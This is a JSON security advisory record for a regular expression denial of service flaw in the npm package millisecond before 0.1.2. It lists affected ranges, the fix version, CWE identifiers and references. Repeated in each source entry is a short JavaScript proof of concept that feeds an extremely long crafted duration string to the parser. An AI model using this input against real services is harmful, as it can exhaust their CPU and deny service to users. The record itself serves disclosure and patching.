{"id":"GHSA-m489-xr35-fjxr","aliases":[],"status":"published","title":"Regular Expression Denial of Service in millisecond","description":"Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i\u003c=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-400"],"published":"2021-09-22T20:35:08Z","modified":"2023-01-09T05:05:48Z","fixes":[{"ecosystem":"npm","package":"millisecond","fixed_in":["0.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"millisecond","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.2"}]}]},{"source":"osv","ecosystem":"npm","package":"millisecond","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.2"}]}]}],"references":[{"url":"https://github.com/unshiftio/millisecond/pull/4","tags":["web"]},{"url":"https://www.npmjs.com/advisories/59","tags":["web"]},{"url":"https://github.com/advisories/GHSA-m489-xr35-fjxr"}],"sources":{"ghsa":[{"id":"GHSA-m489-xr35-fjxr","title":"Regular Expression Denial of Service in millisecond","description":"Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i\u003c=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.","status":"published","published":"2021-09-22T20:35:08Z","modified":"2023-01-09T05:05:48Z","cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:36:11.367194Z"}],"osv":[{"id":"GHSA-m489-xr35-fjxr","title":"Regular Expression Denial of Service in millisecond","description":"Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i\u003c=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.","status":"published","published":"2021-09-22T20:35:08Z","modified":"2021-09-22T20:34:42Z","cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:46:51.463834Z"}]}}